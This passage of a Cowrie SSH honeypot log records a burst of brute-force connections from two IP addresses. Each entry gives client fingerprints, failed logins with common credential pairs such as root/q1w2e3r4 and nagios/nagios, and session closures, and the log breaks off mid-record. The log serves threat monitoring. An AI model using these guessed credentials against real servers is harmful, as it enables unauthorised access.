{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58316,"dst_ip":"159.203.135.109","dst_port":22,"session":"d44b41c6ad1a","protocol":"ssh","message":"New connection: 91.92.42.133:58316 (159.203.135.109:22) [session: d44b41c6ad1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:34.693503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:35.758951Z","src_ip":"91.92.42.133","session":"d44b41c6ad1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:35.762197Z","src_ip":"91.92.42.133","session":"d44b41c6ad1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:36.037216Z","src_ip":"91.92.42.133","session":"696f51d7d654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38876,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c4e1d139a67","protocol":"ssh","message":"New connection: 91.92.40.171:38876 (159.203.135.109:22) [session: 7c4e1d139a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:38.305520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:38.328352Z","src_ip":"91.92.40.171","session":"7c4e1d139a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:39.002859Z","src_ip":"91.92.40.171","session":"7c4e1d139a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:40.785526Z","src_ip":"91.92.42.133","session":"d44b41c6ad1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:42.517371Z","src_ip":"91.92.42.133","session":"d44b41c6ad1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58394,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb49308020a1","protocol":"ssh","message":"New connection: 91.92.42.133:58394 (159.203.135.109:22) [session: cb49308020a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:42.626310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:43.374344Z","src_ip":"91.92.42.133","session":"cb49308020a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:43.379650Z","src_ip":"91.92.42.133","session":"cb49308020a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38896,"dst_ip":"159.203.135.109","dst_port":22,"session":"d21bf9f63479","protocol":"ssh","message":"New connection: 91.92.40.171:38896 (159.203.135.109:22) [session: d21bf9f63479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:43.437571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:43.453039Z","src_ip":"91.92.40.171","session":"d21bf9f63479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:44.476049Z","src_ip":"91.92.40.171","session":"d21bf9f63479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:46.714901Z","src_ip":"91.92.40.171","session":"7c4e1d139a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:47.763482Z","src_ip":"91.92.42.133","session":"cb49308020a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43894,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c7651826d58","protocol":"ssh","message":"New connection: 91.92.40.171:43894 (159.203.135.109:22) [session: 6c7651826d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:48.080925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:48.109355Z","src_ip":"91.92.40.171","session":"6c7651826d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:48.184788Z","src_ip":"91.92.40.171","session":"6c7651826d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:48.634803Z","src_ip":"91.92.40.171","session":"6c7651826d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46448,"dst_ip":"159.203.135.109","dst_port":22,"session":"f052d1131826","protocol":"ssh","message":"New connection: 91.92.42.133:46448 (159.203.135.109:22) [session: f052d1131826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:49.246079Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:49.701121Z","src_ip":"91.92.40.171","session":"d21bf9f63479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:49.705121Z","src_ip":"91.92.42.133","session":"cb49308020a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:49.743302Z","src_ip":"91.92.40.171","session":"6c7651826d58","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:50.479373Z","src_ip":"91.92.42.133","session":"f052d1131826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:50.482513Z","src_ip":"91.92.42.133","session":"f052d1131826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:50.850316Z","src_ip":"91.92.40.171","session":"7c4e1d139a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:51.928818Z","src_ip":"91.92.40.171","session":"d21bf9f63479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43932,"dst_ip":"159.203.135.109","dst_port":22,"session":"01d5e7e4a914","protocol":"ssh","message":"New connection: 91.92.40.171:43932 (159.203.135.109:22) [session: 01d5e7e4a914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:53.758244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:53.841379Z","src_ip":"91.92.40.171","session":"01d5e7e4a914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:53.970942Z","src_ip":"91.92.40.171","session":"01d5e7e4a914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:54.376358Z","src_ip":"91.92.40.171","session":"01d5e7e4a914","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:54.618226Z","src_ip":"91.92.42.133","session":"f052d1131826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:55.495502Z","src_ip":"91.92.40.171","session":"01d5e7e4a914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:56.265957Z","src_ip":"91.92.42.133","session":"f052d1131826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39336,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5cec9f618a2","protocol":"ssh","message":"New connection: 91.92.42.133:39336 (159.203.135.109:22) [session: b5cec9f618a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:56.841553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:57.864771Z","src_ip":"91.92.42.133","session":"b5cec9f618a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:07:57.867661Z","src_ip":"91.92.42.133","session":"b5cec9f618a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:00.570768Z","src_ip":"91.92.42.133","session":"b5cec9f618a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46310,"dst_ip":"159.203.135.109","dst_port":22,"session":"1309a765eacb","protocol":"ssh","message":"New connection: 91.92.40.171:46310 (159.203.135.109:22) [session: 1309a765eacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:00.579409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:08:00.583886Z","src_ip":"91.92.40.171","session":"1309a765eacb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@